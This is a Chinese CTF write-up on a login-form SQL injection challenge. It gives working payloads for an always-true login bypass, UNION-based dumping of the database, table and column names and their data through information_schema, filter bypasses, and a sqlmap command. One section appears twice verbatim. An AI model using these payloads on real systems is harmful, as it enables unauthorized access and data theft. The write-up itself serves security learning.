SQL注入入门实战:从登录框绕过到联合查询拿Flag的完整思路
2026/9/15 13:47:18 网站建设 项目流程

1. 题目初见:一个登录框能玩出什么花

CTF圈子里的老人常说一句话:Web题的本质就是“找入口、试探、打进去、拿flag”。这话放到ctfshow的萌新22这道题上,再贴切不过。它和“级客巅峰web4”的解法路线基本是同一条——SQL注入,而且是那种最经典、最基础的登录框注入。

我第一次打开题目页面的时候,跟大多数人一样,心想这页面也太朴素了。就一个用户名输入框、一个密码输入框,外加一个登录按钮,连验证码都没有,没有任何多余的功能点。这种页面在真实环境中属于典型的“后台登录系统”,而在CTF题目里,十道有八道都在暗示你——来打SQL注入吧。

我们先把这个题目的目标说清楚:你需要通过某种方式,让登录逻辑“认为”你输入了合法的用户名和密码,从而以管理员的身份进入后台。后台里通常就藏着flag,或者后台本身就能让你执行命令读取flag。

这道题的定位非常明确:萌新入门。也就是说,它考察的不是什么花里胡哨的二次注入、宽字节注入、报错盲注加DNSLog,而是最基础的布尔逻辑注入、联合查询注入和注释符的用法。你说它简单吧,它确实是新手友好;但你说它没门槛吧——不好意思,不懂SQL的人还真进不去。

我觉得这是CTF平台上最有价值的一类题目:难度刚好卡在“你觉得自己会了”和“实际动手就卡住”之间。很多人看教程的时候觉得注入payload我都能背,什么' or 1=1#' union select 1,2,3#,但真到了做题的时候,漏个引号、少个注释符、字段数不对,就卡死在半路上了。萌新22的作用就是让你把背过的Payload,真正变成你手里的武器。

那接下来我就完整地走一遍这道题的解题过程。从最开始的观察页面,到判断注入点,再到一步步构造Payload,最后成功拿到flag。每一步我都会讲清楚“我为什么这么干”,而不是简单地复制粘贴一顿操作,因为你要学会的是思路,不是那几条固定的Payload。

2. 信息收集:点击、查看、试探三板斧

2.1 页面观察与基础探测

打开题目之后,我先做了三件事。第一,看页面源码;第二,查看请求与响应头;第三,随手输入一组测试数据,观察页面的反应。

第一件事,查看源码。用快捷键Ctrl+U或者右键点击“查看页面源代码”。这一步看着多余,但在CTF Web题里是保底操作。很多题目会把提示直接写在HTML注释里,比如“用户名是admin”“提示:密码格式XXXX”之类。萌新22这道题的源码里没有藏什么明显提示,唯一能确认的信息是登录表单的提交方式是POST,提交到当前页面,字段名为usernamepassword

第二件事,打开浏览器的开发者工具,切到Network标签页,勾上Preserve log(保存日志),然后随便输入一组用户名密码点击登录。我输入的是admin123456。点击登录后,页面安静地返回了一个字符串:“用户名或密码错误”。

这里注意,页面没有跳转,也没有JS弹窗,就是纯服务端返回的文本。说明这个登录功能的逻辑完全在后端处理,前端没有做任何拦截。这对我们来说是好事,意味着我们可以直接构造数据包和服务器过招。

第三件事,测试单引号。我在用户名框输入admin'密码随便填,点击登录,这回页面的反应变了:直接出现了一段数据库报错信息。虽然报错信息不一定完整(有些靶场会屏蔽细节),但哪怕只是多了一个错误提示,都说明这个输入点可能直接被拼接进了SQL查询语句里。

这三步走完,我心里基本有底了:这是一道“字符型注入”,注入点在用户名参数上。为什么这么肯定?因为在SQL语句里字符串通常用单引号包裹,用户名参数被拼接进SQL时应该是这样的形式:

SELECT * FROM user WHERE username='$username' AND password='$password';

我输入admin'之后,拼接出来的SQL变成了:

SELECT * FROM user WHERE username='admin'' AND password='xxx';

这里出现了两个连续的单引号,SQL的引号配对被打乱,语法错误也就随之而来。服务器把这个语法错误直接抛了出来,就成了我们看到的报错页面。

2.2 判断注入类型:字符型还是数字型

注入类型判断是做SQL注入的第一道分水岭。我们最初手头的武器只有两个:单引号和数字。

数字型注入的判断方式通常是在参数位置输入一个不成立的条件,比如id=1 and 1=1正常返回数据,id=1 and 1=2返回空结果。对比两个结果,如果一真一假,说明数字被直接拼进了SQL,数字型注入成立。

字符型注入的区别在于,参数是用引号包裹的,所以直接加数字没用,必须先闭合前面的引号,再用注释符把后面多余的引号处理掉。判断方法就是刚才说的“加单引号看是否报错”。

这道题的登录框是典型字符型注入,因为输入admin'直接触发了报错,输入admin则提示用户名或密码错误——这两种反应明显不同,说明单引号确实干扰到了SQL结构的完整性。

这时候有人可能会问:输入单引号报错,能不能直接断定就是注入点?严格来说,报错只能说明程序没有对输入做过滤,直接把输入丢进了SQL语句中间。单引号能造成SQL语法错误,但你要确定这个点能不能被利用,还得继续往下测,验证能不能通过闭合引号构造出合法的SQL语句。接下来要做的就是“验证核心逻辑”,也就是亲手构造一个永真条件试试。

3. 核心突破口:万能密码与第一个Flag

3.1 永真条件的底层原理

如果这一关是让你只用一次登录就直接过关,那么最快速、最经典的办法就是万能密码。万能密码的Payload长什么样?最经典的是这一串:

用户名:admin' or '1'='1'#密码:随便填,比如123

拼接进SQL之后变成了:

SELECT * FROM user WHERE username='admin' or '1'='1'#' AND password='123';

我先把这条SQL拆开看。#在MySQL中表示注释符,它的作用是把后面的所有内容全部注释掉。由此SQL在实际执行时等价于:

SELECT * FROM user WHERE username='admin' or '1'='1';

'admin'是一个字符串,它和'1'='1'这个恒真的表达式之间用or连接。整个WHERE条件的结果是“真”,因为OR只要有一个条件为真,整体就为真。数据库拿到了这个查询条件后,会把表中第一行匹配到的记录返回来,登录自然就“成功”了。

这里有一个细节值得新手特别注意:有些人图省事,直接写' or 1=1#。这在某些题里能过,但在萌新22这道题里不保险。因为如果SQL还额外校验了查询到的用户名必须等于你输入的用户名(比如代码里有if ($row['username']===$username)这种二次校验),那么' or 1=1#可能选出的是表中的第一行(可能是某个测试账号),而admin' or '1'='1'#能保证选出来的行大概率是你指定的那一个,同时永真条件确保绕过密码校验。

当然,更稳的是用联合查询指定第一行的字段值,这个我在下一节详细讲。

3.2 实战登录与Flag获取

我在用户名框输入:

admin' or '1'='1'#

密码随便填了一个1,点击登录。

页面刷新,没有出现之前的“用户名或密码错误”,而是直接进入了一个新页面。页面上有一行加粗的文字,写着flag的完整内容——恭喜,第一层目标达成。

到这一步你会发现,这道题作为“萌新22”,它没有在新手必经之路上设置故意绕的弯子。既然叫“萌新”,那就用最直接的方式把核心知识点喂给你。

但这里我要提醒一句:拿到flag之后,任务不是“哦原来如此”就结束了。真正的学习才刚刚开始。你要做的是回到原题,再走一遍“联合查询”的路线,把注入过程从“能用”进化到“理解”。

3. 核心突破口:万能密码与第一个Flag

3.1 永真条件的底层原理

如果这一关是让你只用一次登录就直接过关,那么最快速、最经典的办法就是万能密码。万能密码的Payload长什么样?最经典的是这一串:

用户名:admin' or '1'='1'# 密码:随便填,比如 123

拼接进SQL之后变成了:

SELECT * FROM user WHERE username='admin' or '1'='1'#' AND password='123';

我先把这条SQL拆开看。#在MySQL中表示注释符,它的作用是把后面的所有内容全部注释掉。由此SQL在实际执行时等价于:

SELECT * FROM user WHERE username='admin' or '1'='1';

'admin' 是一个字符串,它和'1'='1'这个恒真的表达式之间用or连接。整个WHERE条件的结果是“真”,因为OR只要有一个条件为真,整体就为真。数据库拿到了这个查询条件后,会把表中第一行匹配到的记录返回来,登录自然就“成功”了。

这里有一个细节值得新手特别注意:有些人图省事,直接写' or 1=1#。这在某些题里能过,但在萌新22这道题里不保险。因为如果SQL还额外校验了查询到的用户名必须等于你输入的用户名(比如代码里有if ($row['username']===$username)这种二次校验),那么' or 1=1#可能选出的是表中的第一行(可能是某个测试账号),而admin' or '1'='1'#能保证选出来的行大概率是你指定的那一个,同时永真条件确保绕过密码校验。

当然,更稳的是用联合查询指定第一行的字段值,这个我在下一节详细讲。

3.2 实战登录与Flag获取

我在用户名框输入:

admin' or '1'='1'#

密码随便填了一个1,点击登录。

页面刷新,没有出现之前的“用户名或密码错误”,而是直接进入了一个新页面。页面上有一行加粗的文字,写着flag的完整内容——恭喜,第一层目标达成。

到这一步你会发现,这道题作为“萌新22”,它没有在新手必经之路上设置故意绕的弯子。既然叫“萌新”,那就用最直接的方式把核心知识点喂给你。

但这里我要提醒一句:拿到flag之后,任务不是“哦原来如此”就结束了。真正的学习才刚刚开始。你要做的是回到原题,再走一遍“联合查询”的路线,把注入过程从“能用”进化到“理解”。

4. 从能过到能看:联合查询注入完全拆解

4.1 为什么要学联合查询

万能密码能让你一秒进后台,但它的局限性也非常明显:你只能“绕过登录”,没办法读取数据库中其他表的数据。假设这道题的flag不是直接出现在页面上,而是藏在另一个数据表里,或者需要查询某个特定字段才能拿到,那万能密码就无能为力了。

这时候就要用到联合查询注入(UNION-based SQL Injection)。它的核心思路是:既然我的输入被拼接到了SQL语句里,那我能不能把原来的查询结果和我自己构造的查询结果“联合”起来,让页面把我想看到的数据打印出来?

UNION操作符的作用是把两条或多条SELECT语句的查询结果合并成一个结果集。使用它有两个硬性条件:

第一,前后两个SELECT语句查询的列数必须一致; 第二,前后两个SELECT语句对应位置的数据类型要兼容。

第一个条件至关重要,所以联合查询注入的第一个核心步骤永远都是——判断字段数

4.2 判断字段数的三种方法

方法一:ORDER BY 试探法。在用户名参数后面加上order by N,N从1开始递增尝试。如果N大于表的字段总数,SQL会报错,页面会返回“Unknown column”之类的错误信息;如果N不大于字段总数,页面正常返回。这样逐步试探,就能确定字段数的上限。

方法二:UNION SELECT 补齐法。直接构造' union select 1#' union select 1,2#' union select 1,2,3#,一直加到页面不报错。页面不报错的那个数字,就是你需要的字段数。这个方法直观、迅速,新手推荐。

方法三:报错信息看回显。有些靶场的报错信息会直接告诉你字段数不匹配,比如The used SELECT statements have a different number of columns。只要看到这句话,你就知道当前写的列数和目标不一致,继续调整就行。

我在萌新22这道题里,用的是最稳妥的组合流程。先输入:

admin' order by 1#

页面提示没有变化。再试:

admin' order by 2#

页面也正常。继续:

admin' order by 3#

页面返回了错误。这说明目标表最多只有2个字段。也就是说,原SQL的SELECT查询只有2列。严格来说还有可能存在order by 2恰好碰巧通过的情况,但如果真是3列,order by 3就不会报错。既然order by 3报错,字段数就是2。

为了验证,我再用UNION SELECT补齐法确认一遍:

admin' union select 1,2#

页面返回正常,而且查询结果中出现了数字1和2,说明两个字段都被查询了出来并且回显到了页面上。这同时也验证了一个好消息:页面会把每个查询字段的内容直接显示出来。这属于“有回显注入”,是SQL注入中最舒服的情况,因为你看得见自己的查询结果。

4.3 爆库名、表名、列名、数据

字段数确认等于2之后,注入路线就非常清晰了。我按照标准的注入步骤,一层层往下剥。

第一步,爆数据库名。在用户名输入:

admin' union select 1,database()#

页面执行后,第二个字段的位置上出现了一个字符串——这就是当前数据库的名字。萌新22这道题的数据库名通常是ctfshow或者类似的题目库名,记下它。

第二步,爆表名。用information_schema.tables视图查询当前数据库下有哪些表。Payload为:

admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

页面返回了一串表名,比如flaguser。看到flag这个表名的时候,我就知道这道题的flag大概就在这张表里了。

第三步,爆列名。确认了目标表名是flag之后,查询这张表有哪些列:

admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

页面返回了列名,比如flag

第四步,查数据。对着flag表和flag列去查询,Payload为:

admin' union select 1,flag from flag#

页面直接返回了完整的flag内容。同样的flag,这一回不是靠绕过登录“白嫖”来的,而是我通过SQL注入逐步读取数据库拿到的。两者的体验差别很大。

如果你只是想做题,万能密码已经够了。但如果你想把SQL注入这个技能练扎实,联合查询的三板斧——爆库、爆表、爆列——必须要亲手走一遍。因为后面几乎所有SQL注入题目,不管换什么壳子、加什么过滤,底层的查询逻辑都逃不开这套东西。

5. 实操中的经典坑与排查方法

5.1 单引号被转义了怎么办

在实际做题过程中,很多人会碰到一个情况:输入admin'页面也不报错,回到普通登录提示,仿佛单引号被吃掉了一样。这种情况很可能是后端使用了转义函数,比如PHP里的addslashes()函数,它会把'"\等特殊字符前面加上反斜杠,导致你输入的引号变成字符串的一部分,无法再闭合SQL语句。

针对这个问题的解决办法,在真实环境中要看具体的过滤代码。常见思路是尝试宽字节注入(在GBK编码下用%df'吃掉转义反斜杠),或者尝试用注释符配合其他闭合方式。不过萌新22这道题默认场景比较简单,没有额外的转义处理,所以如果出现这种现象,更多时候是别的原因——比如你是不是把引号写成了中文全角引号?我曾经见过一个同学在输入法全角状态下输入了admin‘,页面死活不报错,排查了半天才发现是引号类型不对。这种问题属于“我以为是题目难,其实是我输入法坑我”。

5.2 注释符被过滤了怎么办

注释符#--是SQL注入中用来处理尾部SQL的常用手段。如果题目过滤了这两个符号,你还有一招:用单引号配闭合来消化掉尾部。原理是让多出来的部分不成为SQL语法错误。

举个例子。假设原SQL是:

SELECT * FROM user WHERE username='$username' AND password='$password';

如果注释符被过滤,我在用户名输入:

admin' or '1'='1

拼接后变成:

SELECT * FROM user WHERE username='admin' or '1'='1' AND password='123';

仔细看尾部,因为我在用户名里最后加了一个单引号,而原来SQL中用户名值结尾本来就有一个单引号,它会跟我的引号闭合,形成'1'这个合法字符串。整个WHERE条件变成了'admin' or '1'='1' AND password='123',实际上等价于'admin' or ('1'='1' AND password='123')。注意,由于OR运算的特性,当第一个条件'admin'为真时,整条SQL就不会看后面的条件了?等一下——数据库的逻辑是“WHERE条件整体为真则返回行”,如果'admin'为真,OR后面不管真假,整条SQL都能筛选出行。但问题是'admin'这个表达式本身在MySQL中不是布尔值,它在比较时会被当作0,也就是假。这样一来,真正的判断就看后面那一坨:'1'='1' AND password='123'password='123'为假,所以后面整体为假,整个WHERE结果为假,登录失败。所以这个Payload在MySQL下不能这样直接绕。

那么应该怎么写?经典写法是:

admin' or '1'='1' or '1'='1

拼接后等价于:

SELECT * FROM user WHERE username='admin' or '1'='1' or '1'='1' AND password='123';

因为OR运算具有优先级低于AND的特性(实际上AND优先于OR),所以'1'='1' or ('1'='1' AND password='123'),左边恒真,整条为真。这种写法不用注释符,也能完成绕过。

5.3 空格被过滤了怎么办

有些题目的过滤规则会把空格直接删掉,导致你写的Payload变成一坨,SQL语法完全错乱。绕过空格的常见思路是用注释符/**/代替空格,或者用括号把查询条件包起来。在MySQL中,/**/会被当作一个空格处理,所以在多个关键字之间插入/**/即可。

举例说明,原本的Payload是:

admin' union select 1,2#

空格被过滤后,可以写成:

admin'/**/union/**/select/**/1,2#

这套写法在很多过滤严格的题目里非常实用。萌新22虽然没有把空格过滤,但你应该在平时就练会这些备用技能,因为下一道题可能就会用到。

5.4 常见问题速查表

现象可能原因排查方向
输入单引号页面无报错输入法全角问题、后端转义检查引号类型,测试%27编码
order by N 一直不报错字段数很多或分页逻辑将N翻倍递增,跳过中间值
union select 页面没有新数据回显点被过滤尝试调整字段位置
页面返回“Illegal mix of collations”排序规则冲突在字符串前加0x十六进制前缀
万能密码无效二次校验用户名/密码改用联合查询注入直接查admin记录

6. 工具的妙用:Burp Suite与HackBar

6.1 为什么推荐Burp Suite

很多新手在刚开始做Web题的时候,习惯直接在浏览器里改地址栏参数,这没问题,但效率太低。当我需要反复测试多个Payload的时候,直接在输入框里删改数据,光是在用户名框和密码框之间来回切换就要浪费不少时间,而且改了哪次、哪次成功、哪次失败,在浏览器里毫无记录。

我建议从一开始就用Burp Suite,至少学会抓包和改包。

操作流程是这样的:打开Burp Suite,配置浏览器代理(默认是127.0.0.1:8080),打开Burp的Intercept开关。在浏览器里随便点一次登录,Burp会拦截到这个POST请求,里面带着username=admin&password=123这样的表单数据。接下来,你就在Burp的请求包编辑器里改参数、发请求。每一次修改都有历史记录,方便对比。

Burp在SQL注入场景里还有一个很实用的功能:右键选择Send to Repeater(发送到重放器)。在Repeater界面中,你可以快速修改Payload并立刻查看响应,无需回到浏览器重新操作。我实测下来,一套注入流程从“改Payload”到“看结果”的时间缩短了至少一半。

6.2 HackBar与浏览器的快速组合

如果你嫌Burp Suite的界面太重,HackBar是另一个轻量级选择。它本来是Firefox的经典插件,后来也有Chrome版本,可以在浏览器里直接对URL进行编码、解码、拼接Payload,非常方便。

HackBar的特点是适合在已经确定注入点后,快速发起各种联合查询测试。你可以把本地写好的Payload通过HackBar的URL Encode功能一键编码,再发送请求,省去了手工处理特殊字符的烦恼。

但有一个点必须提醒:HackBar擅长处理GET参数,处理POST表单数据时要多一步,就是在HackBar的Post data区域里手动填写请求体。萌新22这道题的登录框是POST方式提交,两者都适用,不过如果你是第一次用HackBar,注意别把数据填错位置,不然会一直拿到“用户名或密码错误”。

6.3 sqlmap该不该用

这是个绕不开的话题。很多教程一上来就让你用sqlmap跑:

sqlmap -u "http://target/login.php" --data="username=admin&password=123" --batch

sqlmap确实很强,自动化判断注入类型、自动爆库爆表,几分钟就能跑出结果。但现在很多主流CTF平台,尤其是一些练习靶场,都在有意添加sqlmap识别和防护机制。你跑sqlmap,服务器直接返回“your ip has been banned”或者干脆让你做JS验证,瞬间作废。

我对新手用sqlmap的态度是:先手注十道题,再考虑用工具。工具的作用是帮你省时间,不是帮你省思考。如果你连联合查询为什么要数字段数都不知道,sqlmap跑出来一堆结果你也不知道对错。先把萌新22这种题目用手工方式完整打通,再回头去看sqlmap的输出,你会豁然开朗——原来它跑的就是我刚才手工做的那几步。

7. 举一反三:从萌新22到其他相似题

7.1 级别巅峰web4到底在考什么

作为一个和萌新22高度相似的题目集,级客巅峰web4的核心考点几乎一致:登录框SQL注入、拼接绕过。有些变体还会把绕过方式稍微改一改,比如要求你思考为什么admin' or '1'='1'#在某些查询条件下失效,为什么要用admin' or '1'='1' or '1'='1这种无注释写法。

做过萌新22再去做web4,你会发现手感是通的:先观察、再判断、然后构建Payload。不同题目的差别在于“过滤条件”略有调整,但底层的思路始终是那条:想办法让你的输入改变SQL语句的判断逻辑。

7.2 从这道题延伸出的知识点清单

第一,POST注入和GET注入的区别。登录框是POST提交,参数不会出现在URL里,所以一开始很多人不知道从哪里下手。实际上它们在SQL层面没有本质区别,变化的只是传输方式。你在Burp里能看到完整的POST body,在HackBar里要填Post data区域。

第二,回显与盲注的选择。萌新22是幸运的,两个字段都有回显,直接联合查询就能拿数据。但很多题目没有回显,你要用布尔盲注或者时间盲注。判断方法是这样的:回显注入用UNION,布尔盲注用and (select ...)判断页面真伪,时间盲注用and sleep(5)判断页面响应延迟。这属于从“会做一道题”到“会做一类题”的进阶。

第三,information_schema的使用。爆表名、爆列名的原理都是查询MySQL自带的元数据数据库information_schema。很多人第一次看到这个库名觉得陌生,但它的地位就相当于一个“数据库的户口本”。你只要把table_schematable_namecolumn_name这三个字段名牢记,后面遇到任何MySQL注入题都不会卡壳。

8. 个人经验总结:这道题教会我的事

CTF做了这几年,回头再看萌新22这类题目,我发现它最珍贵的不是flag,而是它把一个经典的注入模型完整地展示给了新人。你借助它理解了几件事:为什么单引号能闭合SQL、为什么注释符要把尾巴切掉、为什么UNION前后的列数要一致、为什么查询元数据需要information_schema。

每搞懂一个“为什么”,你的SQL注入能力就扎实一分。这不是背Payload能替代的。

如果你现在是个新手,我的建议很直接:把萌新22用三种方法各做一遍。第一遍用万能密码直接过;第二遍用联合查询从爆库开始逐步拿flag;第三遍尝试把注释符去掉,用引号闭合的方式实现绕过。三遍下来,你对这几种基础SQL注入方式的理解会有一个质的提升。

也不要怕卡住。SQL注入的调试过程本来就充满了试错,卡住的时候重点去检查引号配对、字段数量和注释符这三项,绝大多数问题都能解决。等你能不看教程独立完成这道题的时候,就可以去挑战其他更复杂的注入题目了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询